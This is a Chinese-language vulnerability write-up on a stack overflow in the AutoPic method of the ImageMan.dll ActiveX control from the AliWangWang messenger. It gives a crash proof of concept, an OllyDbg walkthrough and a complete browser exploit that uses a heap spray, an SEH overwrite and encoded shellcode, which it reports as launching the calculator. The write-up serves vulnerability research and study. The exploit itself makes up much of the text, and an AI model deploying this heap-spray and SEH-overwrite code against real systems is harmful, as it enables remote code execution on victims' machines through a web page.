阿里旺旺ActiveX控件ImageMan.dll动态链接库中有一个函数AutoPic,由于未对传入的参数长度进行校验导致栈溢出,在拷贝缓冲区数据时会读取到不可用地址,从而使程序进入SEH异常处理流程,通过计算好缓冲区到SEH异常处理结构的位置用指定长度的字符串精确覆盖SEH指针从而控制程序执行流程达到执行任意代码的效果。
操作系统:windowsXP SP3
阿里旺旺版本:AliIM2010_taobao(6.50.00C)
调试器:OD
POC代码如下:
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
搭建好环境后,用OD附加IE浏览器后F9运行IE,用IE打开POC文件后提示读取到了一个不可用的地址,同时可以看到右下角的栈区被超长的字符串”AAA......(ascii为41)”填满了,应该是发生了缓冲区溢出:
按“Crtl+F2”用OD重新加载此时IE并运行,先不加载POC文件,按“ALT+E”打开模块列表然后找到OLEAUT32,双击进入该模块,接着按“Crtl+N”在函数列表中找到DispCallFunc,双击进入该函数,往下找到“call ecx”指令,双击下断点,然后用IE浏览器打开POC文件,程序会断在之前的“call ecx”处:
然后F7单步进入该函数,来到函数AutoPic的入口处:
F8往下执行就看到用于验证缓冲区溢出的超长字符串“AAAA......”:
接着往下走来到0x10011CAC,溢出就发生在这里:
可以发现拷贝字符串之前未对字符串长度进行校验,最终导致溢出。
发生溢出后堆栈平衡被破坏,程序出现异常,开始进入异常处理流程,由于缓冲区中的字符串长度过长,覆盖了栈区中的异常处理结构指针,于是可以通过精心构造传入的字符串,控制好覆盖异常处理结构指针的字节,从而在溢出发生后控制eip到指定位置执行shellcode。
0x5:漏洞利用
漏洞利用代码(EXP)参考了泉哥写的,使用的技术是常用的堆喷射,溢出后精确覆盖SEH指针,当程序执行异常处理翰苏时就会跳转到指定地址,进入后堆喷代码后就可以执行任意代码
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
打开该HTML页面后可以看到成功弹出了计算器: